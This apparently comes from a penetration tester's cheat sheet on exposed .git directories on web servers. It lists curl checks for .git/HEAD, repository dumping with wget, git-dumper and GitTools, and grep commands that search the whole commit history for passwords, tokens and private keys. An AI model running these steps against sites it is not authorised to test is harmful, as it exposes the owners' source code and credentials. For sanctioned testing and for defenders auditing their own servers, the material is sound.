Git Recon

enumerate for git

check every web root and subdir found during content discovery, not just main site. wordlists often miss it.

curl -s http://TARGET/.git/HEAD
curl -s http://TARGET/.git/config

200 on HEAD (ref: refs/heads/main) = exposed repo. also check .gitignore, .git/logs/HEAD, and any subdir since some devs only expose it on dev/staging paths.

dump exposed .git

two cases: directory listing on vs off.

listing on, mirror directly:

wget --mirror --no-parent -P dump http://TARGET/.git/
cd dump/TARGET/.git
git checkout .

listing off, brute force known object paths and rebuild:

pip3 install git-dumper
git-dumper http://TARGET/.git/ ./dump

GitTools as fallback if git-dumper chokes:

git clone https://github.com/internetwache/GitTools
cd GitTools/Dumper
./gitdumper.sh http://TARGET/.git/ /path/to/dump

verify the checkout worked, empty/partial checkout usually means some objects failed to fetch.

git status

git status

git logs

history matters more than current state, secrets get added then "removed" but stay in history.

git log --all --oneline
git log --all -p
git branch -a
git tag

search across all history, no -r here since this is piped stdin not a directory scan, -r does nothing useful and can interfere:

git log --all -p | grep -iE "user|username|password|secret|api_key|token|BEGIN.*PRIVATE KEY"

check commit messages too, "remove hardcoded creds" or similar tells you exactly which commit to look at.

note: this only searches history. a plain recursive grep on the checked out repo only sees current files, if creds were removed in a later commit they won't show up there, only in the log -p diffs.

git diff

git diff hash1 hash2   # differences between commits

config and metadata

cat .git/config          # remote URLs, may leak internal hostnames/paths
cat .git/logs/HEAD       # reflog, local operations
cat COMMIT_EDITMSG

after reconstruction

grep for secrets across the working tree:

grep -riE "password|secret|api_key|token" .

id the stack (composer.json, package.json, requirements.txt etc), check known CVEs for that version, then read the code directly for logic flaws and hardcoded creds instead of continuing to fuzz blind.

same logic applies to exposed .svn or .hg if found instead of .git.